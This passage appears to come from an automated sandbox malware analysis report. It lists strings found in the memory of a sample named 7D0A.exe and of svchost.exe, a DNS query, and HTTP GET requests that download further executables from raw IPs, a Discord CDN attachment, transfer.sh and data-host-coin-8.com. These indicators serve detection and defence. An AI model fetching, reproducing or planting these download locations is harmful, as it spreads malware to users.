Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: svchost.exe, 00000006.00000002.309122686.000001F894E13000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: svchost.exe, 00000004.00000002.541242822.000001C48383E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000004.00000002.541242822.000001C48383E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: 7D0A.exe, 00000025.00000002.523953321.0000000002E16000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517387907.0000000003DFA000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.525017087.0000000003BE3000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524467817.0000000002F98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524249981.0000000002ED7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523709480.0000000002D5A000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517036731.0000000003CA7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524574915.0000000002FAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523453991.0000000002C98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524875989.0000000003B72000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: svchost.exe, 00000004.00000002.541242822.000001C48383E000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: 7D0A.exe, 00000019.00000002.437060463.0000000004361000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000000.429672404.0000000000402000.00000040.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000004.00000002.541242822.000001C48383E000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: 7D0A.exe, 00000025.00000002.523953321.0000000002E16000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517387907.0000000003DFA000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.525017087.0000000003BE3000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524467817.0000000002F98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524249981.0000000002ED7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523709480.0000000002D5A000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517036731.0000000003CA7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524574915.0000000002FAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523453991.0000000002C98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524875989.0000000003B72000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: svchost.exe, 00000004.00000002.541242822.000001C48383E000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000006.00000002.309257124.000001F894E5C000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000006.00000002.309190839.000001F894E3C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000006.00000002.309257124.000001F894E5C000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000006.00000003.308076951.000001F894E68000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.309305263.000001F894E6A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000006.00000003.308611585.000001F894E4D000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308091317.000001F894E48000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000006.00000002.309257124.000001F894E5C000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000006.00000002.309190839.000001F894E3C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000006.00000003.285290195.000001F894E30000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000006.00000003.308273099.000001F894E40000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.309218354.000001F894E42000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308348308.000001F894E41000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000006.00000003.308273099.000001F894E40000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.309218354.000001F894E42000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308348308.000001F894E41000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000006.00000002.309257124.000001F894E5C000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308273099.000001F894E40000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000012.00000003.378171100.000001994C78D000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.377817839.000001994C77C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.378193958.000001994C7CE000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 7D0A.exe, 00000025.00000002.523953321.0000000002E16000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517387907.0000000003DFA000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.525017087.0000000003BE3000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524467817.0000000002F98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524249981.0000000002ED7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523709480.0000000002D5A000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517036731.0000000003CA7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524574915.0000000002FAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523453991.0000000002C98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524875989.0000000003B72000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524574915.0000000002FAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab4
Source: 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000006.00000002.309257124.000001F894E5C000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000006.00000003.308329739.000001F894E56000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000006.00000002.309190839.000001F894E3C000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000006.00000003.285290195.000001F894E30000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: 7D0A.exe, 00000025.00000002.523953321.0000000002E16000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517387907.0000000003DFA000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.525017087.0000000003BE3000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524467817.0000000002F98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524249981.0000000002ED7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523709480.0000000002D5A000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517036731.0000000003CA7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524574915.0000000002FAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523453991.0000000002C98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524875989.0000000003B72000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 7D0A.exe, 00000025.00000002.523953321.0000000002E16000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517387907.0000000003DFA000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.525017087.0000000003BE3000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524467817.0000000002F98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524249981.0000000002ED7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523709480.0000000002D5A000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517036731.0000000003CA7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524574915.0000000002FAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523453991.0000000002C98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524875989.0000000003B72000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: svchost.exe, 00000006.00000002.309190839.000001F894E3C000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000006.00000002.309190839.000001F894E3C000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.309122686.000001F894E13000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000006.00000003.285290195.000001F894E30000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000006.00000003.308329739.000001F894E56000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000006.00000003.285290195.000001F894E30000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000006.00000003.285290195.000001F894E30000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308447911.000001F894E2D000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.309166319.000001F894E2F000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000006.00000003.308611585.000001F894E4D000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308091317.000001F894E48000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: svchost.exe, 00000012.00000003.378171100.000001994C78D000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.377817839.000001994C77C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.378193958.000001994C7CE000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000012.00000003.378171100.000001994C78D000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.377817839.000001994C77C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.378193958.000001994C7CE000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: 7D0A.exe, 00000025.00000002.523953321.0000000002E16000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517387907.0000000003DFA000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.525017087.0000000003BE3000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524467817.0000000002F98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524249981.0000000002ED7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523709480.0000000002D5A000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517036731.0000000003CA7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524574915.0000000002FAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523453991.0000000002C98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524875989.0000000003B72000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: svchost.exe, 00000012.00000003.379191597.000001994C77E000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report
Source: svchost.exe, 00000012.00000003.379223670.000001994CC02000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.379136182.000001994C7A6000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.379204449.000001994C78F000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.379191597.000001994C77E000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.379166777.000001994C7A6000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\B50.exe

Code function: 23_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

23_2_00404BE0

Source: global traffic	HTTP traffic detected: GET /32739433.dat?iddqd=1 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.233.81.115
Source: global traffic	HTTP traffic detected: GET /attachments/903666793514672200/930134152861343815/Nidifying.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /abhF HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: goo.su
Source: global traffic	HTTP traffic detected: GET /get/QbPlFD/G.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /get/uq3XSe/5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /get/uq3XSe/5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
